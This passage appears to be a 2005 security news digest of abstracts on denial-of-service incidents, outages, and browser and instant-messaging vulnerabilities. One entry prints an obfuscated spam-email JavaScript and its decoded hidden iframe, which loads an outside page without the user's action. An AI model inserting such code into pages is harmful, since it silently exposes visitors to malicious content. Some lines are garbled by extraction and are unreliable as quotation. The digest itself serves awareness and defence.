"Waldo", a robot used to dispense pills and potions to medical stations at the top notch medical facility, refused to return to the pharmacy to pick up a fresh stash at the end of his rounds, according to the San Francisco Chronicle. Instead, the crazed automaton – reportedly the size of a good-sized TV, which in California means it must be at least the size of the average British garden shed -- careened past the drug depository before barging into a room in the hospital's radiation oncology department where an examination was in progress. The psychotic pill pusher reportedly refused to leave, sending both doctor and patient fleeing for their lives.

"This is the first time anything like this has happened," a hospital spokesman told the paper. "Our technology folks are going to have to take a look." Yeah, if they can find him. The 'bot's clearly gone bad, and is probably even as we speak cruising the city's Tenderloin district pushing purloined prescription pain killers, paying off dirty cops and menacing lost tourists.

Even more worryingly, the spokesman said nothing about shutting down Waldo's two colleagues, dubbed Elvis and Lisa Marie. A terrible accident waiting to happen? We think so.

22.1 DoS attacks

Category 22.1 DoS attacks

2005-02-24 Japanese government Website attack denial of service DoS

DHS IAIP Daily; http://www.nytimes.com/aponline/technology/AP-Japan-Cyber-At tack.html?

Japanese government hit by cyber attacks.

A series of cyber attacks disrupted Japanese government computer networks this week, although no damage was reported, Japan's top government spokesperson said Thursday, February 24. The attacks, three times each on Tuesday and Wednesday, targeted the Prime Minister's Office and the Cabinet Office, causing computers to freeze up under a deluge of data and made it impossible for anyone to access the two Websites, Chief Cabinet Secretary Hiroyuki Hosoda said. There was no significant damage, since the attacks were not designed to destroy key programs, and the government networks have since returned to normal operations, he said. Officials are investigating who launched the attack, but having trouble tracking the data. "We don't know whether the attack came from inside or outside the country," Hosoda said.

Category 22.1	DoS attacks
2005-10-15	denial of service DoS SMS cellular mobile phone

Cryptogram

SMS CAUSES A MESS

Bruce Schneier writes:

Turns out you can jam cell phones with SMS messages. Text messages are transmitted on the same channel that is used to set up voice calls, so if you flood the network with one, then the other can't happen. The researchers believe that sending 165 text messages a second is enough to disrupt all the cell phones in Manhattan.

22.2 DDoS attacks

Category 22.2	DDoS attacks
2005-03-14	Internet Storm Center ISC hacking attacks Website hosting servers Domain Name
	System DNS cache poisoning denial of service DoS virus attacks

DHS IAIP Daily; http://www.techweb.com/wire/security/159402730

Weekend attack infects hosting servers.

The Internet Storm Center (ISC) tracked a large-scale hack over the weekend that infected site-hosting servers, which in turn transformed all the hosted sites into distributors of malicious code. "We have received reports and evidence that a number of companies that provide shared hosting Web servers have had their servers exploited and all of the customer homepages modified so that visitors are attacked," said the Storm Center's Daniel Wesemann Sunday, March 13, in an online posting. It seems that the attack used both direct and indirect means to infect users, said the ISC. But ICS also found some evidence that a DNS cache poisoning attack was part of the program. "We are not quite sure yet how this is being done, as the files that we've received so far do not seem to contain DNS/DHCP poisoning code." This latest incident of DNS cache poisoning is unrelated to an earlier event this month, which was created by exploiting vulnerabilities in Symantec's gateway products.

22.4 Accidental availability disruptions

Category 22.4	Accidental availability disruptions		
05	5 1		
2005-02-17	denial of service DoS wireless mouse batteries		
RISKS		23	73
A BATTERY OF F	USKS		
Peter Pankonin poi	nted out yet another denial-of-service problem to worry about:		
	complained that his computer system had locked up. He had typourse) and couldn't move the mouse. Rebooting didn't fix the	1 2	ın hour

I was summoned to investigate, whereupon I noticed that the mouse pointer was indeed frozen at the center of the screen. Interestingly enough the keyboard still worked. Then I noticed that there was no red light emanating from his wireless optical mouse. After a quick installation of fresh batteries, the system magically recovered. Unfortunately, I was unable to recover the data lost after he rebooted.<

Category 2.	2.4	Accidental availability disruptions		
2005-06-15		denial of service DoS software quality assurance QA database mobile telephone	e error indexi	ng cellular
RISKS; http	p://www.af	tenposten.no/english/local/article1059215.ece	23	90

DATABASE ERROR MAKES HALF OF NORWAY'S CELLPHONES GO OFFLINE

Customers of Netcom, the second largest cellular provider in Norway, experienced sporadic or close to no service for days earlier this week. Companies that earlier abandoned "normal" phones and went all cellular are now installing land phones and/or IP phones.

>"Hundreds of thousands of customers and a government minister alike remained up in arms Tuesday, after losing use of their mobile telephones in recent days. ... NetCom has actively promoted the concept of the "wireless office," and companies from building giant NCC to Aftenposten have made the switch, also as a means of saving money. Instead, it's left them vulnerable to communications breakdown and even dangerous situations."<

Problem? Database indexing issues, after a upgrade the previous week.

[Abstract, excerpt and comment from Olav Langeland]

Category 22.4	Accidental availability disruptions
2005-06-20	denial of service outage cable network cash transactions mobile phone Internet services stock exchange

RISKS;

23 91

NEW ZEALAND OUTAGE SHUT DOWN STOCK EXCHANGE

http://www.informationweek.com/story/showArticle.jhtml?articleID=164900973

A major outage in New Zealand Telecom Corp.'s cable network Monday disrupted data services, electronic cash transactions, mobile phone, and Internet services, as well as shutting down the nation's stock exchange for hours (the third time in the past nine months that data link failures have halted trading). Widespread disruption to business and private services was caused by two cable breaks on its North Island network. They were repaired by mid-afternoon Monday--at least five hours after they occurred. [Internet service and mobile phones were also out of commission due to two cable breaks. MHS]

The outage was caused by two separate incidents, including a fiber cable break north of the capital, Wellington, and a second cable being cut in Taranaki province on the west coast of North Island, more than 300 kilometers (188 miles) north of Wellington.

[Contributed by Marcus H. Sachs with additional abstracting by Peter G. Neumann]

Category 22.4	Accidental availability disruptions		
2005-08-08	usability unexpected consequences bandwidth saturation		
RISKS		24	01
UNEXPECTED	CONSEQUENCES OF LIMITED BANDWIDTH		

Lauren Weinstein reported that Caltrans has started a 6-month experiment to put real-time travel times on freeway signs. The immediate result is apparently that traffic is tied up all over, as people slow down to read the signs!

[Abstract by Peter G. Neumann]

[MK comments: This is a case of bandwidth saturation of the limited human I/O channel (eyes), processor speed (reading) and computing architecture (lack of data buffer).] If everyone had an eidetic memory that could snap a visual image and then read it later, they wouldn't slow down to read the signs. Maybe we need brain v1.1?]

Category 22.4	Accidental availability disruptions
2005-09-19	hurricane Katrina disaster denial-of-service accidental overwhelmed Red Cross
	Website online transactions donations

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1860051,00.asp

DONATIONS OVERWHELM RED CROSS STAFF, SITE

In the wake of Hurricane Katrina the Red Cross was faced with an overwhelmed IT infrastructure that was unable to handle the numerous online donations. After the tsunami in Southeast Asia last December, the Red Cross faced a huge number of online donations in which the IT staff worked long hours and offloaded some of the transaction processing to technology partners. However the donation system still wasn't ready for Hurricane Katrina. Dave Clarke, chief technology officer at the Red Cross stated, "As soon as we understood the magnitude of the tragedy, we knew the money would be coming in. When we began to see the initial transaction volume, we determined that if it continued on that growth curve, we would run out of capacity. And we knew we had to get ready."

Category 22.4 Accidental availability disruptions

2005-10-26 Power outages phone FL batteries cellular Wilma Verizon Wireless

DHS IAIP Daily;

http://www.palmbeachpost.com/search/content/business/epaper/2005/10/26/a2d_phones_1026.html

POWER OUTAGES DRAG DOWN PHONE SERVICE

Palm Beach County, FL, experienced widespread power outages Tuesday, October 25, after a day without electricity drained backup batteries for cellular and land-line systems in the aftermath of Hurricane Wilma. Most phones were operating Monday morning, October 24, while Hurricane Wilma crossed Palm Beach County and the Treasure Coast. After the power failed, those systems ran on batteries that generally last from four to 10 hours, depending on usage. Phone service was sporadic on Tuesday, as batteries began to fail. Chuck Hamby, spokesperson for Verizon Wireless, said "It worked very well through the storm, but then with the power outages, more and more cell sites dropped out of the network." Many cellular towers have built-in generators that can power the towers for five to seven days. Most providers said Hurricane Wilma did not cause much structural damage to phone lines and towers.

Category22.4Accidental availability disruptions2005-12-01Internet Net denial-of-service DoS United Kingdom UK BT

DHS IAIP Daily; http://news.com.com/Net+outage+hits+Brits/2100-1037_3-597837 4.html?tag=nefd.top

NET OUTAGE HITS UNITED KINGDOM

Internet service providers America Online, Virgin.net, Wanadoo and Zen Internet all confirmed that they had been hit by outages in the United Kingdom (UK) for several hours Wednesday, November 30. BT Group, the UK's telecommunications giant, said the glitches were due to a software problem linked to user authentication. Three servers were the cause of the problem, which affected customers randomly around the UK, according to BT. A BT representative said the outages resulted from increased congestion on the network, preventing fresh users from logging on, although those already connected via BT's broadband network experienced no service interruption. Although none of the ISPs could immediately provide precise information on how many end-users experienced problems, a Zen representative described the outages as "short term but significant," and a representative for Wanadoo said most ISPs had been touched by the problems at BT. AOL estimated that the number of its subscribers who experienced Internet connectivity problems could have reached 100,000. BT's representative said the company has launched an investigation into the problem.

23.2 Javascript

 Category 23.2
 Javascript

 2005-09-16
 java exploit audio file automatic execution e-mail GMAIL spam script

 RISKS
 24
 04

 GMAIL SECURITY FLAW: ACTS ON JAVASCRIPT IN UNOPENED E-MAIL
 3

 Suw Charman reported on a new vulnerability and exploit:

 I received a spam this morning that opened audio files without me even opening the e-mail. The spam was from 'news@capitalex.com' and had the subject 'news'.

A closer looks reveals this code:

<Script Language='Javascript'>

<!--

document.write(unescape(%3C%49%46%52%41%4D%45%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%53%52%43%3D%22%68%74%70%3A%2F%2F%77%77%77%72%2E%70%72%6F%66%6F%72%65%78%74%72%61%64%65%2E%63%6F%6D%2F%69%6D%61%67%65%73%2F%6E%65%77%65%78%2E%68%74%6D%6C%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%22%31%22%20%0D%0A%0D%0A%73%63%72%6F%6C%6C%66%66%66%66%3D%22%3E%3C%2F%49%46%52%41%4D%45%3E');

//-->

</Script>

This decodes to

<IFRAME width="1" height="1" SRC=" http://www.proforextrade.com/images/newex.html" frameBorder="1" scrolling="no"></IFRAME>

That page loads automatically, *without me having opened the e-mail*, then runs a shed load of rubbish including two audio files.

Category 23.2 Javascript

2005-10-20 Hackers scammers javascript Websites Internet JS Wonka Unicode JavaScript Internet Explorer Firefox Websense

DHS IAIP Daily; http://informationweek.com/story/showArticle.jhtml?articleID =172302840

HACKERS, SCAMMERS HID MALICIOUS JAVASCRIPT ON WEBSITES

Internet thieves are using a new, fast spreading technique called "JS/Wonka" to conceal their code. The JS/Wonka technique converts characters to and from their respective Unicode values. JavaScript completes those conversions automatically, so it doesn't require much expertise on the part of the code writer. Dan Hubbard, senior director of security and research at Websense, said, "For whatever reason, the number has just skyrocketed since the last of September...There are 10,000 unique sites using this exact same method. The strange thing is, they're completely different types of sites." Internet Explorer and Firefox, among other browsers, are vulnerable. According to Websense, three out of four of the sites found using JS/Wonka are hosted in the U.S. which is another indication that either a group of scammers is working together, or that a obfuscation toolkit has just been made available, and hasn't had time to spread overseas. Websense's JS/Wonka Alert: http://www.websensesecuritylabs.com/resource/pdf/wslabs_wonk a_analysis_oct05.pdf

24

10

23.3 ActiveX

Category 23.3	ActiveX
2005-11-10	Web application active content disable security incompatibility non-standard operating system restrictions design

RISKS

LAW SCHOOL FORCES APPLICANTS TO DISABLE SECURITY MEASURES

Tony Lima reports on an annoying case of bad Web design he discovered when a Macintosh-using young friend of his tried to apply to a law school. It took over an hour to disable security sufficiently to allow a required ActiveX control to run on a Windows machine:

>I finally got the control to install after doing the following:

- Disabling my anti-spyware software (ewido security suite). I then tried to install the control with no luck.

- Setting the privacy permission for lsac.org to "allow." Again no luck installing the control.

- Eliminating all security by making the security settings (Tools/Internet Options/Security/Custom Level) completely open. I enabled each and every ActiveX and other control including unsigned controls and controls marked as not safe. The control then installed successfully.

Now perhaps I didn't have to go quite that far but a deadline was approaching and I really didn't want to take the time to perform the trial and error that would apparently be required to determine exactly how much security to give up.<

Prof Lima adds humorously:

"It occurs to me that this is truly THE law school admission test. If you're dumb enough to let this control install you're probably good law school material. OTOH if you don't let the control through then you're too smart to be a lawyer. (That's about all the humor I can manage after 1.5 hours fighting with this stuff. I've disconnected from the net and am running my usual four scanning programs right now.)"

23.4 HTML, XML

Category 23.4 HTML, XML

Google links search engine blogs no follow tag priority cheat fraud fake false

2005-01-18 NewsScan;

http://news.com.com/Google+aims+to+outsmart+search+tricksters/2100-1024_3-5540740.html

GOOGLE MOVES TO OUTSMART SEARCH MANIPULATORS

Google is implementing a new tactic for blocking "link spammers" -- people who use the comment form on Web forums or blogs to place a link pointing back to their own Web site. The strategy is used to trick Google's PageRank technology into boosting a Web site's ranking in its results. The problem has become particularly rampant in the age of blogging, when publishers have little recourse to stop outsiders from littering their comment forms with bogus links. Google's answer, says search expert Danny Sullivan, is to give publishers a "no follow" tag that they can insert on a Web page to indicate that comments or links are not their own and signal Google as it indexes the Web that the pages are to be overlooked. "The tag provides you a way to flag links that are basically not yours," says Sullivan. "The reason why that's helpful is because they won't count those links. It makes the idea of spamming less attractive." Blog publisher Six Apart says it will adopt the tagging standard for its roughly 6.5 million blogs. "We're interested in deploying this tool so that all the search engines, whether it's Google, Yahoo or MSN, can properly distinguish content published by the author from content from commentors," says Six Apart VP Anil Dash. (CNet News.com 18 Jan 2005)

23.5 E-mail & instant messaging or chat

Category 23.5 E-mail & instant messaging or chat 2005-01-13 Google mail Gmail flaw accident hack Unix community source code boundaries no update issued

DHS IAIP Daily; http://www.vnunet.com/news/1160489

ACCIDENTAL HACK REVEALS GMAIL FLAW

A Unix community group has reported a flaw in Google's free Gmail email service which it warns could compromise user information. Two members of HBX Networks, going by the monikers 'Hairball' and 'MrYowler,' were testing a Perl script that would send out a newsletter. When they tried to reply to the test email the page displayed HTML code which included the names and passwords of other users. The problem appears to come from poorly defined code boundaries on Google's mail server. The community group members do not propose a workaround beyond informing Google of the problem.

 Category 23.5
 E-mail & instant messaging or chat

 2005-02-18
 instant messaging IM Yahoo Messenger remote user spoof filename vulnerability

 file transfer code execution attack update issued

DHS IAIP Daily; http://www.securitytracker.com/alerts/2005/Feb/1013237.html

YAHOO! MESSENGER LETS REMOTE USERS SPOOF FILENAMES DURING FILE TRANSFER

A vulnerability was reported in Yahoo! Messenger in the file transfer feature. A remote user may be able to cause a target user to execute arbitrary code. Yahoo! Messenger does not properly display files with long filenames in the file transfer dialog windows. A remote user can send a specially crafted, long filename containing whitespace and two file extensions to spoof the filename. Update to version 6.0.0.1921, available at: http://messenger.yahoo.com/

Category 23.5 E-mail & instant messaging or chat

2005-02-21 instant messaging spim statistics

NewsScan; http://www.pewinternet.org/PPF/p/1052/pipcomments.asp

BATTLING THE SPIM-MEISTERS

Almost one in three instant-messaging users in the U.S. have received some kind of "spim" (unsolicited commercial instant messages), according to a survey by the Pew Internet & American Life Project. Results indicate that users age 30 and younger are more likely to get spimmed, compared with the next older age cohort (31-49). Other than the age discrepancy, however, no other demographic trends were discernible, says Pew: "Instant message users in all income brackets and in all racial and ethnic groups are equally likely to receive spim. Somewhat surprisingly, broadband users at home are no more likely than dialup users to receive spim, even though, presumably, those with always-on broadband connections keep their instant message programs running for longer periods of time than dialup users." The survey found that 52 million Americans -- 42% of the online population -- use instant messaging, and among the 30- and-under age group, it's 66%. (Pew Internet & American Life Project 21 Feb 2005)

Category 23.5	E-mail & instant messaging or chat
2005-03-10	secure instant messaging IM companies businesses meet privacy concern
	unauthorized use detection

DHS IAIP Daily;

http://www.computerworld.com/softwaretopics/software/groupwa re/story/0,10801,100298,00.html

COMPANIES TURN TO SECURE INSTANT MESSAGING TO MEET PRIVACY CONCERNS

With the use of instant messaging (IM) on an upswing, companies concerned about security, regulatory and privacy issues are sometimes turning to secure IM solutions that allow only authorized users access to IM - while stopping others from sending instant messages. Available software provides businesses with control and administration of all IM activity by their workers, including dynamic detection and routing of IM use on the network, and prevention of unauthorized IM usage. Lawrence Orans, an analyst at Gartner Inc., said IM technology tools can now increase security because they allow businesses to set policies on permitted IM usage. While some companies do little to monitor their employees' IM use, the potential for viruses and network attacks will make it more important that they pay attention to potential problems, he said. "It will increasingly become risky to look the other way," Orans said. Another analyst, Robert Mahowald at IDC Inc., warned that there are still pitfalls to instant messaging, even with the use of secure applications. "You've significantly increased your chances of blocking [viruses and other problems] by having a secure IM solution in place," Mahowald said. "But it doesn't completely solve the problem."

Category 23.5 E-mail & instant messaging or chat

2005-03-22

instant messaging IM threat hacker spread malicious code research

DHS IAIP Daily; http://www.vnunet.com/news/1162084

HACKERS INCREASINGLY SPREADING MALICIOUS CODE VIA INSTANT MESSAGING.

Attacks using instant messaging (IM) as an unprotected backdoor in enterprises are reaching epidemic proportions, industry experts have warned. Analyst firm IDC Research said that the problem is leading to a sharp hike in highly sophisticated IM attacks that spread malicious code and worms directly into organizations without any end-user intervention. "Hackers and virus writers have realized that the next vulnerable area for attack within an organization is to spread malicious code via IM," said Brian Burke, research manager for security products at IDC. Hackers are increasingly using IM as a vector for phishing scams and for so-called 'pharming' attacks, malicious redirects where thousands of IM users are persuaded to click on a link to a bogus, malware-infected Website. According to security firm Websense, incidents involving hackers using IM soared by 300 percent during the first quarter of 2005, compared with the fourth quarter of 2004. "Social engineering and vulnerabilities within IM client technologies are being used to gain access to hosts," said Dan Hubbard, senior director of security and technology research at Websense.

Category 23.5 E-mail & instant messaging or chat

2005-04-05 instant messaging IM chat security threat rise IMLogic industry consortium virus worm spam phishing attacks

DHS IAIP Daily;

http://news.com.com/IM+threats+rise+sharply%2C+report+confir ms/2100-7349_3-5655267.html

INSTANT MESSAGING THREATS RISING SHARPLY, REPORTS CONFIRM

According to a report issued Tuesday, April 5, by the IMlogic Threat Center - an industry consortium led by security software maker IMlogic - the quantity of instant messaging (IM) threats increased 250 percent in the first quarter of 2005, compared with the same period last year. The research, which tracks viruses, worms, spam and phishing attacks sent over public IM networks, also contends that reported incidents of newly discovered IM threats have grown by 271 percent this year. In addition, the study found that more than 50 percent of the incidents reported to the Threat Center during the first quarter of 2005 involved attacks at workplaces where freely available IM software such as AOL Instant Messenger, MSN Messenger, Windows Messenger, and Yahoo Messenger is used. Based on that data, the consortium advises that companies take a closer look at managing IM security issues. Report: http://imlogic.com/news/press_107.asp

Category 23.5 E-mail & instant messaging or chat 2005-04-19 virus writing focus e-mail instant messaging IM shift automatic spread MSN Messenger Visual Basic VB programming language

DHS IAIP Daily; http://www.vnunet.com/news/1162557

REPORT SAYS VIRUS WRITERS TURNING FROM E-MAIL TO IM

Email worms are falling out of favor with the hacking community, according to a report investigating malicious Internet activity. Instead malware authors are increasingly subverting vulnerable instant messenger (IM) systems and using network viruses that do not require user interaction to spread. Other threats identified include botnets and increasingly intrusive adware. The report, "Malware Evolution. January-March 2005," from security firm Kaspersky Labs notes that viruses for IM systems started to appear late last year but are only now appearing in volume. Seven out of every eight IM worms attack Microsoft's MSN Messenger service. "Improved antivirus technologies, and increased user awareness of security issues are clearly forcing virus writers and hackers to use new approaches to access users' information and systems," said Alexander Gostev, senior virus analyst at Kaspersky Labs. The study identifies 40 individual IM worms in the first quarter of the year, the majority written in one of the simplest computer languages, Visual Basic (VB). It noted that use of this language indicates the authors are relatively unsophisticated coders, since VB is not widely used by experts because it is so slow to run. Report: http://www.viruslist.com/en/analysis?pubid=162454316

Category 23.5 E-mail & instant messaging or chat

2005-11-02 instant messaging IM secure productive AOL MSN Yahoo merger

DHS IAIP Daily; ttp://www.esecurityplanet.com/best_practices/article.php/35 61171

SECURE AND PRODUCTIVE WORKPLACE INSTANT MESSENGING

With the possible merger of AOL's AIM, MSN Messenger and Yahoos Messenger there will approximately 275 million users communicating over the internet. This has led to a vital part of the workday for many individuals. One of the advantages is that instant messaging allows for inexpensive communication between individuals. In addition, more recently there is now have video conferencing or voice-chats with minimal fuss and no extra charges. There are some perceived disadvantages to using IM, which includes lost productivity. However, one way to deal with this is to provide appropriate training to employees about proper usage of IM and that it should be treated much like e-mail.

Category 23.5 E-mail & instant messaging or chat

2005-11-30 instant messaging IM threats November 2005 skyrocket

DHS IAIP Daily;

http://www.messagingpipeline.com/news/174402978;jsessionid=X KU0HNGVXMREEQSNDBCCKH0CJUMEKJVN

INSTANT MESSAGING THREATS SKYROCKET IN NOVEMBER

Akonix Systems, the San Diego, CA, provider of instant messaging (IM) security systems, said that its Security Center team tracked 62 IM-based attacks in November, a 226-percent increase over last month. The most significant new finding was that viruses no longer discriminate against specific IM systems, and can have a far costlier impact in terms of potential damage. Akonix reported that 36 percent of the IM attacks hit more than one public network and 13 percent of the attacks had the capability to spread through all four major IM networks. The Akonix Security Center noted that 58 of the worms detected were variants of previous worms, while four new worms were introduced during November. "November marked the highest number of IM threats that we have ever seen to date, proving that hackers see this real-time communications medium as a wide-open security hole in corporate networks," said Don Montgomery, vice president of marketing at Akonix Systems, in a prepared statement.

23.6 Web-site infrastructure, general Web security issues

Category 23.6 Web-site infrastructure, general Web security issues

2005-01-11 Microsoft Internet Explorer IE vulnerabilities cross site scripting attack Windows XP SP2 vulnerable no update issued

DHS IAIP Daily; http://secunia.com/advisories/12889/

MICROSOFT INTERNET EXPLORER MULTIPLE VULNERABILITIES

Some vulnerabilities have been discovered in Internet Explorer, which can be exploited by malicious people to compromise a user's system, conduct cross-site/zone scripting and bypass a security feature in Microsoft Windows XP SP2. They do not require user interaction. The vulnerability was originally discussed as the Drag'n'Drop vulnerability back in October 2004. The new development only utilizes flaws in the HTML Help control. This has been confirmed on a fully patched system with Internet Explorer 6.0 and Microsoft Windows XP SP2. There is no solution at this time.

 Category
 23.6
 Web-site infrastructure, general Web security issues

 2005-02-08
 Mozilla Firefox Internet Web browser multiple vulnerabilities command execution attack JavaScript hybrid image

DHS IAIP Daily; http://securitytracker.com/alerts/2005/Feb/1013108.html

MOZILLA FIREFOX MULTIPLE VULNERABILITIES

There are several vulnerabilities in Mozilla Firefox. A remote user may be able to cause a target user to execute arbitrary operating system commands in certain situations or access access content from other windows, including the 'about:config' settings. This is due to a hybrid image vulnerability that allows batch statements to be dragged to the desktop and because tabbed javascript vulnerabilities let remote users access other windows. These vulnerabilities have been fixed in the CVS repository.

Category 23.6 Web-site infrastructure, general Web security issues

2005-02-11 Microsoft Internet Explorer IE multiple vulnerabilities code execution attack

DHS IAIP Daily; http://www.securityfocus.com/bid/12530/discussion/

MICROSOFT INTERNET EXPLORER MULTIPLE VULNERABILITIES

Microsoft Internet Explorer is reported prone to multiple vulnerabilities. These issues may allow remote attackers to execute arbitrary script code, disclose sensitive information and execute files from the local system. These issues are reported to be addressed by MS05-014: http://www.microsoft.com/technet/security/bulletin/MS05-014. mspx

Category 23.6 Web-site infrastructure, general Web security issues

2005-03-11 man-in-the-middle attack SSL encryption decryption misrepresentation confidentiality data theft risk banking proxy servers vulnerability insider fraud

RISKS; http://www.shellnofcu.com/site/scams.html

79

23

MAN IN THE MIDDLE ATTACK ON SSL?

Russell Page had an interesting analysis of a technique potentially vulnerable to insider fraud:

Marketscore (www.marketscore.com) offer a free proxy service web users. They offer accelerated downloads and e-mail virus scanning. To use their service users download and install software onto their PCs. Marketscore are quite explicit that they collect a wide range of information about their subscribers, and make information available to web site owners on usage patterns - a sort of "Neilson" for the net.

Unfortunately, they also impersonate SSL sites. If a subscriber attempts to set up an SSL connection to say, her bank, the Marketscore proxy sends back it's certificate, and then establishes an SSL connection to the destination. Clearly for this to work, the servers have to decrypt then re-encrypt all of the traffic. Equally clearly, large numbers of credit card numbers, account names, passwords etc are passing through the Marketscore systems in the clear.

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category 23.6	Web-site infrastructure, general Web security issues
2005-06-14	Web Internet browser attacks increase virus decrease

DHS IAIP Daily; http://news.com.com/Browser-

based+attacks+increase+as+viruse s+decrease/2100-7349_3-5747050.html

BROWSER-BASED ATTACKS INCREASE AS VIRUSES DECREASE

As the threat to IT operations by viruses and worms dips, browser-based attacks are increasing, according to a technology trade organization. The Computing Technology Industry Association, or CompTIA, on Tuesday, June 14, released its third annual report on IT security and the work force. The survey of nearly 500 organizations, found that 56.6 percent had been the victim of a browser-based attack, up from 36.8 percent a year ago and a quarter two years ago, CompTIA said. Browser-based attacks often take advantage of security flaws in Web browsers and other components of the user's PC such as the operating system. The attackers' objective can be to sabotage a computer or steal private data, and the attacks can be launched when a person visits a Web page that appears harmless but contains malicious code. Still, viruses and worms continue to be the number one IT security threat, though the number of these attacks has dipped slightly. Two-thirds of organizations reported they had experienced such attacks in the past year, down slightly from 68.6 percent a year ago. Study Press Release: http://www.comptia.org/pressroom/get_pr.aspx?prid=620

Category 23.6 Web-site infrastructure, general Web security issues

2005-06-24 Web Internet browser vulnerability flaw Securia Dialog Origin Spoofing

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2138716/spoofing-flaw-

swee ps-browsers

SPOOFING FLAW HITS MAJOR BROWSERS

Security company Securia has warned of a flaw in a number of browsers that could expose users to phishing attacks. The company claims that most major browsers, including Internet Explorer, Firefox and Safari, suffer from a so-called Dialog Origin Spoofing Vulnerability. Opera 8.01 is not affected by the flaw. A hacker could use a JavaScript dialog box to request a web visitor to enter confidential information. The flaw centers around the fact that users have no way of verifying the origin of the dialog box. Hackers could exploit the flaw by offering a link to a trusted Website that simultaneously provides a malicious pop up that asks for confidential information. Microsoft has acknowledged the threat, but said that it will not release a patch because it uses a "current standard web browser functionality." Instead the software vendor urged users to use common sense before entering confidential information through a Web browser. "If a particular window or dialog box does not have an address bar and does not have a lock icon that can be used to verify the site's certificate, the user is not provided with enough information on which to base a valid trust decision about the window or dialog box," said Microsoft.

Category 23.6 Web-site infrastructure, general Web security issues

2005-07-19 IDG fake cards Internet SurfControl PLC phishing personal

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/holes/s tory/0,10801,103326,00.html

ATTACKERS TURNING TO FAKE ONLINE GREETING CARDS

According to Internet security vendor SurfControl PLC, attackers are increasingly using fake e-mail greeting cards as a way of getting malicious software installed on computers. In fact, the amount of malicious e-mail being disguised as e-mail greeting cards is up about 90% from last year and now makes up more than half of all malicious e-mail being sent, according to Paris Trudeau, a product marketing manager at SurfControl. The number of "phishing" attacks, in which users are tricked into entering personal information on fake Websites, is also on the rise. But increasingly, attackers are looking for ways to trick users into downloading software that can be used to take over a computer, turning it into a so-called zombie machine, she said. Often this can be done by sending an e-mail greeting that entices users to visit a maliciously encoded Web page, Trudeau said. Another trick is to mask an e-mail message so it appears to originate from the user's IT department.

Category23.6Web-site infrastructure, general Web security issues2005-08-23safety-critical system architecture software design engineering recommendations
article overview

RISKS; http://www.embedded.com//showArticle.jhtml?articleID=169600396 24 05 ARCHITECTURE OF SAFETY-CRITICAL SYSTEMS

David Kalinsky published an excellent overview of the principles of designing and implementing safety-critical systems for the online journal _Embedded.com_. Here are some highlights:

"Safety-critical systems are embedded systems that could cause injury or loss of human life if they fail or encounter errors. Flight-control systems, automotive drive-by-wire, nuclear reactor management, or operating room heart/lung bypass machines naturally come to mind. But devices as common as the power windows in your car are also safety-critical, once you imagine a small child reaching out of the car window at a fast food drive-through to get another packet of ketchup and accidentally leaning on the control switch making the window shut on the child's arm, or worse.

Small system defects or situations can cascade into life-threatening failures very quickly...."

Key points discussed in the article:

* Safety vs. High availability: Some readers may be thinking "Hey, this is starting to sound an awful lot like high availability." But while there are a number of points of contact between safety-critical system design and high-availability system design, the objectives of the two are quite different and many of the design architectures they use are quite different.

* Step-by-step approach: As with any embedded system, design is preceded by a system requirements definition, covering physical and functional specification. For safety-critical systems, a thorough hazard analysis and risk analysis must also be done. Only then can architectural design get started.

* Detecting sensor errors: Correct sensor data are so crucial to safe operation that many systems use redundancy in their sensor data acquisition. Redundancy doesn't always mean sensor replication as shown in Figure 5 with two identical sensors. It could also mean functional redundancy, or the measurement of the same real-world value in two different ways. For example, patient respiration rate can be measured both by the expansion and contraction of the rib cage, and by measurement of expiratory CO2 concentration.

* Shutdown systems: If a safety-critical system has an immediate safe state, as illustrated on the left side of Figure 2, a shutdown system can be used to terminate a hazardous situation as soon it detects it.

* Single channel with actuation monitoring: The idea of a shutdown system can also be applied on a smaller scale within a primary system itself, as shown in Figure 8. The ellipses represent major system activities, which could be implemented as software tasks or processes, either on separate processors or sharing a single processor, depending on the scale of the system. A basic primary system is structured by the simple design pattern of Input-Process-Output, shown here across the top of the figure as the sequence labeled "Data Acquisition," "Processing/Transformations," "Output/Control." To lower costs, the primary system and the sensor data integrity checking "shutdown" monitoring activity (at the lower left) are shown here as sharing the same input sensor(s).

* Dual-channel architectures: For safety-critical systems without an immediate safe state, dual-channel architectures can be used to allow a system to continue operation even when one of its channels has "fail stopped."

* Monitor-actuator architecture: Many safety-critical systems do not have an immediate safe state, but can't incur the high costs of a full dual-channel or multiple-channel architecture.

* Keeping people safe: The selection of a safety-critical system architecture is driven by a rigorous hazard analysis followed by risk analysis, in addition to conventional system requirements definition. System design may include combinations of redundant sensor configurations, shutdown systems, actuation monitoring, multiple channel architectures, and/or monitor-actuator structuring. These embedded systems architectures are much more valuable than can be measured in dollars and cents. Their true value is in protecting and saving human lives.

[Extracts selected by MK; all text by the author]

Category 23.6	Web-site infrastructure, general Web security issues
2005-09-25	online scam fraud phishing protection tool GeoTrust TrustWatch Toolbar Website safety SSL

EDUPAGE; http://news.com.com/2100-1029_3-5879068.html

NEW TOOLS RATE SAFETY OF WEB SITES

Two new tools from GeoTrust offer Internet users another layer of protection against a range of online scams. The TrustWatch Search site and TrustWatch Toolbar both provide indications about the probable reliability of sites users are visiting, in an effort to help consumers avoid being victimized by phishing scams or by other forms of fraudulent Web sites. The tools evaluate sites for security practices such as certain forms of authentication or use of a Secure Sockets Layer certificate. Sites are also screened against a black list of known fraud sites and checked for patterns that would indicate potentially malicious intent. Users are shown a green signal to indicate a verified site, a yellow signal for suspect sites, and a red signal for sites that cannot be verified. The toolbar provides users with a real-time screen for sites they visit; the search site returns search results--powered by Ask Jeeves--with one of the three indicators for each site returned. CNET, 25 September 2005

Category 23.6 Web-site infrastructure, general Web security issues

2005-12-08 data corruption WHOIS Internet database Government Accountability Office GAO ICANN FTC Web infrastructure

EDUPAGE; http://www.internetnews.com/ent-news/article.php/3569521

GAO WARNS OF BAD DATA IN WHOIS

